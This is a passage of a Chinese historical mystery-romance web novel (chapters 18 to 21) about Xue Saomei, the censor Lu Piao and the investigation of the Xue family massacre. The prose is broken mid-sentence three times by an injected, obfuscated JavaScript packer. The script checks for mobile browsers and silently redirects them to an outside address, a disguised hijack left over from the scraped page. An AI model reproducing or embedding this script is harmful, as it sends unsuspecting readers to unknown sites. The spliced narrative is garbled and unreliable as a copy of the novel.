陆缥此言,当然不是单纯的赞许。薛兼咬紧后槽牙,再次因自己的大意而感到懊悔。从跟踪周家父子的半道上打马而来时,他满脑子都是薛扫眉下落不明、安全有虞的各种幻象,没顾上遮掩追随他的人手,也没料到陆缥竟会出现在这里。而很显然,此人并不是个容易对付的主儿,已对他的人马起了疑心。薛兼知道主人曾命薛扫眉笼络陆缥,但不知道眼下对方究竟是敌是友。 犹疑中,他只好再度拣选较为安全的语言应答。 “大人谬赞了。” “薛管事无需如此拘谨,”陆缥走近两步,低声道,“毕竟我和你家大姑娘有缘,今后少不得与你常常相见。” 趁着月色与火光,薛兼赫然看清对方唇上凌乱的朱色,以及深邃眼波中隐藏着的冰冷笑意。 他还来不及反应,陆缥忽然错身过来,撒手一振,袖管中隐藏的玄铁兵器便准确地击中了薛兼所佩长剑的剑格。短兵相接的巨大冲击力,硬生生将薛兼撼退了半步,距离剑格仅有寸许、原本虚握着剑柄的右手更是酸麻不止,手指几乎无法收拢。 薛兼惊疑不定地看向陆缥,后者却收回如鹰隼般的冷厉眼神,仿佛什么事情也没发生过,怡然微笑:“再会。” 说罢,陆缥干脆转身,走向渡口前的艞板处。被他劈晕的葛三,此刻正湿漉漉地躺在那里。 在一众火光的映照下,他高大的身影投射于地,犹如神祇显影。 “回罢。”薛兼从难以言明的情绪中择出自己,沉声吩咐手下。 一行人翻身上马,向薛宅方向返回。 湿云不动,寒水流深。在方才刀兵乍鸣之处,几片破碎的绿色梅瓣不知何时萎谢在地,似为不惯落雪的江南镶上细细雪花。 *** 陆缥与薛兼之间的一场官司,马车内的薛扫眉并未察觉。她今日着实累得狠了,又饱受风寒,回到轿厢中便迅速发起了烧,昏沉不能自已。待她回到薛家、被仆妇背至房中时,已陷入半昏迷之中。 阿橘在薛兼比夜色还冷的目光注视下,心惊胆战地将薛扫眉扶上床榻。她本应随侍薛扫眉左右,但今日薛扫眉随意找了个理由将她支开后,独自出了府,这才有薛兼从任上临时折返的后续事情。如他要责打,她也无话可说。 房间里早已准备好全套物品,阿橘回身把浸在冷水中的纱巾拧干,仔细地放在薛扫眉沁着汗珠的额上,又取了块丝巾擦拭她的面庞。随着手上动作,阿橘注意到薛扫眉唇上的印记,忍不住迟疑:“这……” 薛兼的目光更森冷了一分:“做好你分内的事,不要多嘴。” “是。”阿橘大气都不敢出,伸手将薛扫眉唇上残余的口脂擦尽,露出毫无血气的底色。她下手极轻,但薛扫眉仍像感受到了什么似的,眼睫微微翕动。 阿橘目光下移,凝固在薛扫眉雪白的颈上。一道由鲜血凝成的纤细红痕横亘于此。 薛兼也看见了那道血痕。他强制自己移开眼,却无法消灭脑海中陆缥亲昵抚弄薛扫眉脖颈的画面。房内温暖的空气摄入肺中,使得他血海翻涌不止,额角青筋直跳。忍无可忍地,薛兼疾步走出,大口呼吸冷冽晚风,强迫自己平静下来。 “大姑娘?”阿橘低声呼唤。 薛扫眉未予回应。这一天太过于漫长,此刻她只想脱离这具孱弱身躯的桎梏,沉溺在黑甜乡中。 恍惚中,她仿佛看到周家父子依依挥别周宅的身影。很奇怪,明明她并未相送,一切却历历在目。他们是她没有血缘的亲人,是她身边唯二还会唤她乳名“眉儿”的人——现在也都离开了。 迷雾袭来,复又散去。薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380124|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫眉隐约又见到了陆缥那张可称艳丽的面孔。高鼻浓眉勾勒出上半张脸深邃的轮廓,而满带风流的桃花眼和线条柔和的朱唇又恰好中和这份凌厉。当他微笑时,仿佛春风流转,拨人心弦。 “我们是盟友了。” “就当今日我与女陶朱歃血,信守盟誓。” 梦中,他眉眼含笑,重复着今夜的誓言,同时向薛扫眉伸出手。 薛扫眉神使鬼差地伸手去够,忽见陆缥笑意凝结,面色煞白。伴随着一声咳喘,暗红色的液体汩汩地自他两片嘴唇之间涌出,瞬间浸没了下唇上的胭脂。他痛苦地看向自己的胸口,那里已被一把长刀完全穿透。更多的血以近乎疯狂的速度涌出他的口唇和伤口,几乎是顷刻之间便在船舱底部制造出了一汪血泊。 薛扫眉头皮发麻,想要尖叫,却怎么也喊不出声。她悚然低头,发现刺穿陆缥胸膛的长刀,其把柄正握在自己手里。那长刀样式普通,却看着很熟悉,暴露在空气中的锋刃上布满锈迹。 是了,薛扫眉恍惚地想,这正是她交给葛三的旧案证物。 但它不应该用来杀陆缥。他已经答应了她的请求,在那瞬间,她已经放下了杀意。他不该死! 不错,薛兼其实是薛扫眉特意召唤回来的。她今日临出门时,有意让阿橘半个时辰后来房中找自己。以她对阿橘的了解,若是届时找不到人,阿橘一定会向薛兼报告。尔后薛扫眉更是留足了破绽,在菩萨蛮换上醒目衣物,又一路走走停停,让足够多的人目击她的行踪。如此,计算已离开的时长和策马回来寻访她的速度,薛兼应当在亥时末左右能够抵达柳叶渡口。 而她会将陆缥拖到那时候。如果陆缥届时还没有答应她的请求,那么薛扫眉会令薛兼全力杀了他。 一个知道她大部分秘密,却又对她毫无同情、不肯合作的粗鄙官员,实在没有活着的必要。再者说来,“万一我真的遇害,必定轰动朝野,官家派人来查时,能顺道替你薛家翻案罢”——陆缥没有猜错,他若今夜死了,对她来说也有助益。他可能会成为薛扫眉为了复仇而杀死的第一个旁人。 但她明明已经转念了,陆缥也明明顺利脱身了。为何眼前还会出现这样的幻影? 喘息之间,陆缥的身影如被风吹散的山岚,灭于无形。薛扫眉松开手,那把锈刀径直坠入血泊。 夜色昏暗,风声凛冽,血流漂杵,好像在哪里也见过这样的情景。她努力回想着,不寒而栗。 “眉儿,救我……”许久未曾听过的声音在唤她,熟悉又陌生。 薛扫眉低头,看见一位经年未见的年轻男子,正倒在血泊之中,用右手紧紧拽住她的裙角。他大口喘着气,似乎随时都要晕厥过去,左肩向下不见手臂,空余一个巨大的血口。 “阿兄!”薛扫眉咬紧牙关。 什么担心自己性命有虞,什么从调查的战术上论证起来更加合理……她今夜向陆缥陈述的那些不肯向有司公开申请重审案件的理由,统统都是借口。真正的原因,是四年多前被斩断手臂后掳走的她嫡亲的兄长,至今仍扣在贼匪手中。 薛扫眉在迷离梦境中泪下如雨。而在现实中,也有一滴水珠,自她已枯涸数年的眼眶中渗出,滚过正烧得通红的腮边,坠在枕侧,消失不见。 阿橘持续擦拭着薛扫眉的面庞和身体,偶然瞥见那滴泪,怔在当场。 19. 第 19 章 檐角挂的纸灯笼随风摇晃,微芒跳跃,像近处的星子。薛兼在屋檐下站了半个时辰,眸光如冰,心潮似海,暗流涌动。 门被从里面拉开。薛兼扭过头,见阿橘面色凝重地走来。 “大姑娘看着不太好。薛管事,您还是去找瞿扁鹊来下罢。”她稚气未脱的面庞被极少出现的愁绪笼罩,“我从没见大姑娘哭过……可她方才落泪了。” “她醒了?” 阿橘摇摇头,轻声说:“仍昏着呢。我按瞿扁鹊之前教的方法,用冷水给她擦洗,但不见好。如果彻夜发热,我担心大姑娘的身体受不住。” 瞿准按捺住心头焦躁,安排好府中事宜,当即策马前往瞿准客居的桑罗观。 夜阑人静,一人一马在城郊山道间飞驰。马蹄踏过路面上的落叶,发出闷中带脆的声响。 无人留意在那层层叠叠的叶片之中,有多少曾被游人驻足观赏,又有多少仍留存着明丽的色泽。它们原本依附着的那些高大乔木,此刻也出奇一致地在黑暗中保持沉默。 瞿准此刻不曾留意的东西,在同一时间,却是小童簪缨口中的宝贝。 陆缥今夜回得晚,簪缨枯坐一日,好容易才等到人,赶忙把握机会,竭力向自家侯爷痛陈南郊秋林盛景如何如何壮丽,又特别提及桑罗观中那棵千年银杏如何如何难得。 陆缥端坐于案前,表面上在听簪缨分说,实则早已神游。 与薛家主仆在柳叶渡分别后,陆缥呼出布局在不远处的血滴子暗卫。除一人留下同他一起押送葛三回府衙以外,其余人等均领他命令,暗中尾随薛家马车。 不错,今日陆缥前往菩萨蛮时,也并非孤身。 他出身高贵,人又傲气,难免给人留下刚愎的错觉。但事实上,能够在西北战场上纵横驰骋多年而鲜有败绩,陆侯靠的绝不仅是孤勇。知人善任、运筹帷幄、排兵布阵,才是他作为将帅最值得称道的能力,也是他这几年能在血滴子内稳稳立足的重要原因。 凭着这些本事,陆缥在碧南道任职月余,已初步整合了血滴子在江南六道的联络网,组建起一支机动灵活的贴身暗卫。他在时来春茶楼目送周家父子出城,而后便调动了数名暗卫追踪而去,剩下几人则蛰伏于他本人附近。若陆缥遇到了实质危险、发出信号,他们便会现身救援。 陆缥是不可能毫无防备地走进陷阱的,除非是故意为之。 但他今夜确实也遇见甚至自己做了一些不在规划内的事情。这是他此刻出神的原因。 簪缨仍在手舞足蹈地讲他的郊游规划,陆缥忽然伸手,止住他的动作。 “侯爷,怎么啦?”小童不解。 陆缥竖起食指,示意簪缨噤声。待此间安静下来,他闭上眼,试着在脑海中快速重现今夜薛扫眉说的话语,以及她说话时的神情。 直觉告诉他,有问题。除了那些因时间关系来不及说明的事情以外,薛扫眉应该还刻意向他隐瞒了些什么。可会是什么呢? 簪缨见陆缥忽然如入定一般,心知方才讲的一大篇话算是打了水漂,顿感怏怏不乐。但他毕竟是下人,也不好真的对主子发作,只能自顾自地撅起嘴来表达不满。 就在簪缨不忿之时,陆缥忽然抬起头。 “我知道哪里不对了。” “啊?”这态度转变得也太快了,簪缨挠了挠头,“倒不是说您不对,我也有错,我太聒噪……” 陆缥径直起身:“帮我更衣,我再去趟府衙。” 簪缨恍然,原来陆缥说的“不对”根本不是在自我批评——就是说嘛,侯爷这样的天之骄子,怎么可能主动向他低头? 但这不妨碍簪缨意难平。他气鼓鼓地服侍陆缥换好衣物,瞟了一眼被换下的襕袍袖口,立刻借题发挥地叫起来:“这衣服又脏又破,怕是不能要啦!”凑近查看后,他探鼻嗅了嗅,啧啧道,“切口平整,倒是好补;可这污渍,怎么像是胭脂……哎呀,还有花汁,这可难洗了!侯爷,您今夜到底去了哪儿呀?有好玩的事情,怎么不带上我?” “你早些睡,不必等我。”陆缥充耳不闻,自顾自往外走。 “侯爷,先别走呀!”簪缨努力举起胖胖的小手,手心里是一枚莹润的粉色海棠华胜,“您袖袋里除了半截绿梅花枝,还有这个玩意儿,是哪儿来的呀?需要我帮您收起来么?”这首饰一看就是姑娘家戴的,竟然被侯爷私自收藏于袖中,一定有故事。他家侯爷虽素有风流之名,可从来没做过这种事。 可惜陆缥并没在意簪缨话中的揶揄之意。 “随便处置即可。”他匆匆抛下这句话,很快随脚步声消失在夜色中。 簪缨再度撅起嘴,随手打开一个抽屉,赌气将那件看起来价值不菲的头面掷了进去。 百无聊赖之际,簪缨忽然想起:似乎在一个多月前某个落雨的晚上,侯爷也如方才一般,匆忙去往府衙——当时好像说是去查一档旧案,那么今晚又是为了什么? 他想不到的是,陆缥两次漏夜奔走,做的是同一件事。 一炷香之后,薛家灭门案的案卷已再次被陆缥自档案库中提出,摆上他设在府衙后院的书案。 正至深夜,府衙中除陆缥之外,仅在机要处留有少许值班的胥吏。此刻后院中,只他一人。 陆缥将蜡烛移近,就着光,细细翻阅那两册薄薄的案卷。 他的目光在字里行间掠过,终于在看到“除薛昭女扫眉外,四十八口皆殁”时停留下来。 四十八,是案卷中记载薛家遇难的人数。 可薛扫眉今天说的是—— “四十七条人命,不该如此草草了结。” “四十七条人命,官府可以不在意,可他们是我的至爱亲朋,我不能忘记,也不敢忘记。” ——她甚至重复了两遍。言之凿凿,可谓如此。 那么,薛扫眉认为还活着的那个人,究竟是谁?她如此陈述,是有意欺瞒,还是在暗中求救? 陆缥正思索着,陡然间,几声夜莺啼叫由远及近,婉转擦破夜晚的宁静。他侧耳倾听,找到那声响中的规律,吹熄手中灯烛,信步走到院中。 一片漆黑中,他将手指凑到唇边,回以三声鹰啸。 很快便有精干的身影翻越院墙,拜倒在陆缥脚边。 “属下奉命追踪薛家马车,路上并未发现异样。但约在子时初刻,薛家管事薛兼忽然骑马外出,速度很快,已出南城门。事出突然,咱们在郊外不曾提前布置人手;若直接尾随上去,夜深人静的,恐怕会被发现。属下已将同伴留在城门内蹲守,密切监视薛兼回程动作。” “你是说,南城门的守卫直接给薛兼开门,放他出去了?” “是。”这正是暗卫即刻来报的原因。本朝虽已取消坊市宵禁,但各级城门开闭的时间仍受律法制约。碧霄府属于府城,其四方城门应于子时下钥,破晓后方可打开。薛兼能够连夜出城,必是有城门守卫违反律法,偷偷为他开了方便之门。 区区商户人家的管事,竟然有这样的本事。若他做的不只是生意,而是薛扫眉所说的“颠覆社稷”的事情…… “立即去查——”陆缥冷声道,“看看是哪个守卫有这样的胆子,他与薛兼之间平素有何来往。做得隐蔽些,切莫打草惊蛇。有了消息,立刻来报。” 来人领命而去。人声既灭,此间唯余簌簌风声和沙沙叶响。 陆缥陡然灵光一现,想起簪缨方才的罗唣。 南郊的落叶,桑罗观的银杏……南郊,桑罗观。 此前他已查清,那位潜心为薛扫眉解毒、曾代玉霓裳给薛扫眉传递物品的医圣弟子瞿扁鹊,正寄住在南郊桑罗观。 回忆起薛扫眉今夜的孱弱之象和滚烫鼻息,陆缥大致有了猜测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404357|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。薛兼向南急行,也许是想请瞿准去给她诊治。 一介贼子,竟然为了被看管起来的人质,甘冒被人发现横行不法的风险……甚是有趣。 但愿薛大姑娘平安无事。如此,他便可早日找到机会,与她好好谈谈。 陆缥闲来袖手,极目远眺。饶是他使力极佳,也只可在一片黢黑之中依稀辨别出建筑剪影,以及由它圈出的四角天空。 与此同时,数里之外的薛宅里,亦有小厮正仰头注视着同样形状的方寸夜空。他刚刚听见空中传来熟悉的异响,故而守在这里。 少顷,远道飞来的信鸽收翅落下,被其收入掌中。 *** 薛扫眉这场病来势汹汹。瞿扁鹊和一众仆从日夜守护,直到第三日清晨,她才将将退烧醒转,能够勉力从榻上坐起来一会儿。 这几年,因血虚畏寒,薛扫眉房里总是早早点起炭盆。为方便透气,房门微微开了一条缝;又为压制入侵的寒气,屋外檐下也烧了一盆银丝炭。 阿橘正在翻动屋外的炭盆,忽见薛兼风尘仆仆地从外边大步走来,连忙缩手退到边上,行了个礼。 “大姑娘醒了?” “是。瞿扁鹊说人已无大碍了,但需好好休养,这几日不可再见风。” 薛兼闻言颔首,很快走到薛扫眉闺房门口。他伸手正欲推门,忽又像想起了什么似的,折返回到炭盆边上站定,抬起双臂。 白蒙蒙的水雾从薛兼衣袖下方穿过,一阵暖流如电流徐徐涌动,击退了他身上的寒意。 薛兼在寒暖交杂中默默站立,忽然想起幼时在北方幽宁道深山中见过的雪松,被风拍打过后簌簌甩下雪粒的样子。那时他衣不蔽体,但仍忍不住想:那些树好孤独啊,都没有人在意它们冷不冷。 片刻之后,等身上的寒风肃尽、彻底暖和起来了,薛兼才收起思绪,抬步推门而入。 薛大姑娘早就听见他在门外,此刻连眼皮都未抬一下。 “我一早在外巡店,听说你醒了,便过来看看。” “倒是我耽误你继续做薛家的大功臣了。”她浅咳一声。 薛兼早习惯了她的讥讽,只当没听见,继续说:“你昏迷时,主人传信过来,询问你的状况。我将那夜你与陆御史相处的情形告知了他……并说那是你有意接近陆御史、故意设下的局。若主人后面亲自问你,你也应如此说。” “你不必自作聪明,我也不需要你为我遮掩。”薛扫眉支起身,恹恹冷笑,“我就是在府里无聊惯了,趁你不在,出去见见外面的天地,正好遇见陆御史。他天潢贵胄,玉树临风,又勇猛救我于歹人手中,我对他一见倾心,恨不能日日相好。” 她每说一字,薛兼心弦便更紧一分。待她喘息着将话说完,薛兼才松开紧握成拳的手。 “主人要我转告你,‘调开薛兼,擅自行动,与抗命无异。念在你体弱,这次就由薛兼代我,浅赏你一巴掌,教你反省清楚。至于那姓陆的狗官,既然勾搭上了,那就继续笼络住他,反正……’”他逐字重复到这里,突然顿住了。 “反正什么?”薛扫眉面无表情地追问。 他继续转述:“‘反正你与你娘一样无耻下贱。’” 果不其然地,他看到她的眼眶慢慢红了。原来人在悲愤欲绝的时候,也可以没有眼泪。 薛兼默然地向薛扫眉走近了几步。 面色惨白的少女努力挺直脊背,扬起头,冷冷道:“他让你赏我一巴掌,可我说过,不许你再碰我。怎么,你要用强的么?” 他又向她迫近了一步,忽然弯下腰,抬起手。 离得太近,他的影子已叠在她身上。薛扫眉下意识地翕动睫毛,就在短暂阖目的这一瞬,她的脸颊上忽然传来冰冷的触感,稍纵即逝—— 是薛兼用剑鞘,在她面上蜻蜓点水般地轻轻触碰了一下。 20. 第 20 章 “好了,”“惩戒”施毕,薛兼很快直起身,退到两步之外,“你……好自为之罢。” 剑鞘冰冷如蛇吻,虽只在薛扫眉脸上触碰了一瞬,已足以让她不寒而栗。薛扫眉强忍着伸手捂脸的冲动,缩到床角,怒目看向薛兼。如果她是一只刺猬,此刻应已将浑身的刺高高竖起。 他有意放她一马,在她看来,却只是在夸耀自己的武力,甚至是一种羞辱。 薛兼面上无波,心底却只有苦涩。 明明在最刚开始相遇时,薛扫眉看向他的眼神是有笑意的。那时她十五岁,明媚温暖如冬日晨阳,足可融化霜雪。可惜,一切都已经被毁掉了,他是凶手之一。 近五年的陪伴和相处下来,薛扫眉对他憎恶日深。而在薛兼心底见不得光的角落,却有莫名思绪始终在疯长蔓延,如深流,似藤蔓,将他的灵魂层层渗透,牢牢捆绑。一旦开始挣扎,便觉胸有块垒,压得他喘不过气。许多时候,他只有反复回想幼年时在幽宁道所受的折磨、母亲冷漠麻木的脸,以及义父对自己一家的似海深恩,方能从自洽中寻到片刻宁静。 一语未发地,薛兼转身离去。 房门开闭,转瞬间,屋内又只留下薛扫眉一人。 她终于能够短暂地松弛下来。放下戒备与羞愤,薛扫眉立刻强迫自己记下:“反正你与你娘一样无耻下贱”——那贼首出言羞辱她母亲曾氏,反而正好暴露出他与曾氏曾是旧识。 自薛扫眉有记忆以来,曾氏便一直抱病,时而清醒、时而昏沉,犯病时甚至连她和父亲都认不出,因此一直在家中将养,轻易不会出门;而父亲薛昭待母亲极好,特意为她修筑了精致的园林,还精心挑选伶俐女仆随侍左右。以曾氏的心智条件和薛昭对她的保护程度,她不会、也没有能力背叛他。 那么,那贼首必然是知道更早些时候发生的事情,才会认为曾氏在男女方面不检点。 可惜薛宅中的老人死的死、散的散,阿兄薛斐落在贼寇手中,父亲年轻时的结义兄弟周老爷也举家迁往了青州府,薛扫眉心中纵有猜想,身边也无人可问。 纠结之下,她短暂地想到了陆缥——也许他能够动用官家势力,帮忙查到父母的来历——但她又下意识地不愿教他知道自己的“家丑”,于是立刻掐断了这个念头。 思来想去,恐怕还是让玉霓裳帮忙最为合适。正好瞿准这几日都在宅中,也方便托他传递消息。 薛扫眉打定主意,伸手拉动垂在床头的丝绦,击出铃声,召唤阿橘进来将香薰换成安息香,另再去切几个枸橼,放到香案上。 枸橼是产自燕国极南之地的一种水果,大小如鸡卵,表皮橙黄,内里极酸却有清新香气,常被用作香薰辅料。薛扫眉十岁至十五岁时在散月山中隐居,当时照顾她的道姑喜爱栽培草木,曾亲自将枸橼引种至碧南道,最终养成一小片枸橼林。受此熏陶,薛扫眉也习惯于将枸橼的本体与安息香、沉水香、鹅梨帐中香等需点燃的香材一同摆放使用,可中和后者的厚重之感。 不过,这些都是明面上的说法。枸橼对薛扫眉来说,除作香材之外,另有用处——它的汁水颜色浅淡,若涂在纸上,等晾干后,以肉眼是看不出的;可若接近热源,徐徐烤制,便会形成焦褐色的痕迹。薛扫眉在散月山时偶然发现枸橼的这一妙用,招揽玉霓裳后,便将此法用到二人传递的密信纸上。如此,万一信件被他人收缴,也还能多一道遮掩。 她今日将再度如法炮制,以用香为名,将枸橼汁写就的字条交给瞿准,让他夹带在药材之中送给玉霓裳。 除此之外,还有一件埋了钩子的事亟待她完成。 阿橘做完薛扫眉吩咐的事情,正待退下,却又被叫住。 薛扫眉忍者咳嗽,交待道:“周烈将周宅地契抵给了菩萨蛮的玉娘子,但周宅同我们这里相距甚近,我不乐意歌姬舞伎将来在近邻出没。你去告诉薛兼,让他以陈相如陈知府的名义从玉娘子手中买下周宅地契,再同我稍晚写好的手书一起,交给府尊大人。” 阿橘敬诺告退。 薛扫眉闭上双目,仰头倒回床榻,依稀忆起几日前的夜晚,她在马车中对陆缥说的话。 “改日待我身子舒朗些,必备好厚礼,差人送到大人府上……请大人一定笑纳。” 这话倒正好和那日陆缥在陈知府家宴上的讥诮之语——“听薛姑娘的意思,陆某要是住不惯,你难道也送我座宅子么”——对应起来了。 周宅和薛宅有密道连通,若陆缥入住那里,将会方便许多。但愿陆御史能够闻弦歌而知雅意,听懂她当日和今日的弦外之音。 *** 在薮春别院大摆宴席的次日,陈知府便告了病假。如今整整一个月过去,陆缥终于又在府衙见到了此人。 只见陈相如步履轻快,全无病容,殷切地喊住他:“缈之!” 陆缥挂上公事公办的笑容:“陈大人满面春风,似是都已大好了?” 陈相如讪笑。他身体原本就无恙,只是那晚被陆缥揭穿收受薛家厚礼的事情后,始终担心会被弹劾,因而才告假逃避。不过这些日子以来,陆缥似乎早已将此事抛诸脑后,迟迟没有针对他的动作。加之向来伶俐懂事的薛大姑娘又于昨日送来“良方”一剂,终于给了陈知府一些直面陆缥的勇气。 “只是见风头痛的老毛病,托缈之的福,已经好了。”陈相如一咬牙,凑到陆缥面前,低声道,“缈之现在还住在御史官邸么?那官邸是十数年前建造的,虽在你来后我修缮了一番,但还是着实太小、太简陋了些,勉强能够住人罢了。不瞒你说,前任蔡御史大人在时,根本不住那里的。你是皇亲,又是正二品的侯爷,怎可长期居于如此陋室?这要是叫勤国公知道了,定要责怪我不够周到,苛待了他嫡亲的外甥。” 陆缥的外祖父季绥当年随太祖皇帝一同起事,立下赫赫战功,被敕封为世袭罔替的勤国公,其幼女也被册封为皇四子涤王的正妃。再后来,涤王登基,改元弘文,季氏作为原配封后,陆家正式升级为外戚。季绥去世之后,其幼子——也就是陆缥的舅父——季勘顺利承袭爵位,便是与陈相如有几分微薄交情、被他屡屡提及的现任勤国公。 “陈大人的意思是……” “是这样,之前在薮春别苑时,我让菩萨蛮的人来表演舞乐,谁曾想那周家小儿当众撒泼,损伤缈之清誉,着实可恨!那周家小儿不是把家宅败给了菩萨蛮么,那里的掌柜玉老板也算懂事,觉着自己坏了我的宴席,主动提出愿意将周宅低价转让给我。这事说起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412481|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也有几分责任,毕竟菩萨蛮和周家的人都是我招徕的。要是缈之愿意的话,我愿将周宅拱手让之——当然,咱们现在同道为官,私相授受于制不合。这样,我以拙荆之名,将这宅子转给勤国公府上,你什么也不用管,就此安心住下,如此可好?” 陆缥不置可否:“陈大人思虑周祥。” “好说,好说。”陈相如看陆缥似未抗拒,一颗心放下了一半。只要他点头收下周宅,便与自己收受薮春别院的行为别无二致。大家脚上都沾上泥,谁也别嫌谁脏! 见陆缥但笑不语,陈相如以为他还有别的隐忧,立刻拍起胸脯:“你放心,当日宴上周家小儿口齿含混,说的话没几人听清,靠得近的几人,我也勒令他们封口了。后头城中议论纷纷的,都是周家小儿的混账行事,与缈之你全无干系,你只管……” “薛家大姑娘呢,陈大人也勒令她封口了么?” 陈相如没料到他突有此问,尴尬道:“这……薛大姑娘是极有分寸的,即使我不说,她也自当守口如瓶。” 陆缥眼神在他面上停留了片刻,淡淡道:“陈大人对她真是青眼有加。想来她送你的,可不止一座山庄罢?你欠她的,又有多少?” 他是真正在刀口上舔过血的人,目光锋利如电,陈相如被刺得冷汗直冒,宛如又回到了那个噩梦般的夜晚。 “啊呀,缈之你说的是哪里的话,想必是有什么误会罢?”陈知府搜肠刮肚,试图解释,“那薮春别院的原主并非薛氏,她只是从中居间罢了。我陈家原本颇有一些家财,这些你舅父也是知道的……” 陆缥不欲再多作纠缠,直截了当地道:“陈大人不必惊慌,我从命便是。” 陈相如没料到他忽然如此痛快,惊喜交加:“好好好,我这就着手布置,助察院大人早日迁入新居!”薛大姑娘果然没有诓他,陆缥果真上钩了。陈大人悬了一个月的心,此刻终于能够落回肚中。 陆缥莞尔:“那我就静候知府大人佳音了。”他本就生得眉目如画,一旦收起周身锋锐,又立刻变回了风度温润的佳公子形象,令人见之忘俗。 陈相如如释重负,旋即告辞。 陆缥目送他离开,目光渐冷,若有所思。 陈相如此人重利轻义,胆小庸碌,绝无可能自行编造出今日的这套说辞,亦不会自掏腰包买宅赠他。更重要的是,薮春别院的宴会已结束一月有余,而陈相如现在才找上门来……显然是刚刚受到高人指点。 虽然在陈相如言及的赠送周宅的所有步骤里,始终不见半个“薛”字,但陆缥几乎可以肯定,这是薛扫眉的筹谋:她提前暗示自己,不要拒绝她差人送来的礼物,再以陈相如对前途的担忧为饵,说动陈知府替她跑了这一趟,借他之手将周宅送到陆缥手中,一切顺理成章。 如此,薛家在整件事情中美美隐身,但陆缥和陈相如实则都欠了她一份人情,亦递给了她新的把柄。 走一步,算三步,薛大姑娘属实是位精明的棋手。他已许久没有过这种棋逢对手的感觉。 既然她已有精力指点陈相如,看来身子已康复了些。那么,后面的事情,可以安排起来了。 思及于此,陆缥信手拦住一个路过的胥吏:“叫曹参军来见我。” 21. 第 21 章 葛三死了。 曹永年亲眼所见,陆御史单手掐住葛三的脖子,轻轻松松将他举到半空之中。不过片刻,葛三便垂下头颅,不再挣扎。待陆缥松手之后,他像一块肮脏的破布,重重落在落地。 用于审讯的小小刑室中,顿时只剩下两个活人。曹永年浑身上下的汗毛瞬间都站了起来。 陆缥弯腰伸手测探他鼻息,见全无动静,满意起身。 “曹参军可看到了什么?”他回头看向曹永年,莞尔一笑。 曹永年舌根发僵,半天才找回自己的声音:“下官……咳咳,是那葛三自知罪孽深重,咬舌自尽了。” “那曹参军可记得葛三死前说了什么?”陆缥不置可否,收回手,随意在前襟上蹭了蹭。他手上未曾沾染血迹,曹永年却觉得那身绯色官服被越拭越红,仿佛下一刻便要沁出血来。 曹永年双眼发直,思绪回到一炷香之前。 他今日忽蒙召唤,说陆御史要提审三天前亲自擒获的犯人葛三。 自上次见过陆缥之后,曹永年便对这位阎王敬怕交加,闻言立刻放下手中事务,陪同陆缥前往刑室。 葛三很快被提来。 他是官府通缉多年的江洋大盗,恶贯满盈,够被砍十回脑袋了。一朝被捕,葛三自知挣扎无用,干脆认下所有罪责。此人原本在江湖上也算数得上号的杀手,自带了几分虎落平阳的傲气,虽认罪,但也对审讯他的胥吏们频频出言轻慢,白眼相加。奈何在牢狱之中,并不以武艺高低论英雄;鞭子握在胥吏们手中,教被枷锁铐住的葛三颇领受了一些苦头,终于老实起来。 因此今天的审讯,刚开始还算顺利。 关于三日前的刺杀,葛三供认说是受人雇佣,定金一百两,尾款二百两,让他假扮船夫,取一个小娘子的性命。 “买凶的人是谁?”陆缥问道。 “不知道身份。干我们这一行的,只认钱,不认人。不过……”葛三仔细回忆,“那人穿着很是奇怪,全身黑衣,还戴着一张黑色面具,根本看不见脸。” 这装束倒和卷宗记载的薛家灭门案匪徒的衣着分毫不差,想来是那薛大姑娘命人刻意为之——万一葛三被捕,又给了官府一条重查薛案的理由。 “继续说。”陆缥坐在案后,靠着椅背,修长手指在桌面轻轻扣动。 “没什么可说的,就是那小娘子运气好,被路过的人救了。”葛三梗着脖子,刻意略去自己被捉的一段,显然没认出正是眼前人当夜将自己踹进了河里,“那男的想必也不是什么好东西,不然为何跟踪女郎至无人处?要不是老子不会水,哪能轻易败给……” “大胆!”曹永年喝止住他,偷眼见陆缥未显怒色,心下稍安,旋即正色道,“那日捉拿你的好汉,正是钦差御史、定远侯陆大人。陆大人武艺高超,战功赫赫,就算拿下十个你,也不在话下。” 一番肉麻奉承,陆缥听得面无表情,却让葛三变了脸色。 “定远侯?可是镇守西北的陆将军?” “不错!远在天边,近在眼前,”曹永年竭力让自己的谄媚看上去不那么明显,“正是我们这位少年英雄的陆大人。葛三,你可服气?” 葛三凝视着陆缥。一案之隔,自己衣衫褴褛,浑身血污,而对面人绯袍加身,面如冠玉。 他忽然咧开嘴,发出嘶哑的笑声。笑声由低到高,越来越响,回荡在刑室之中。 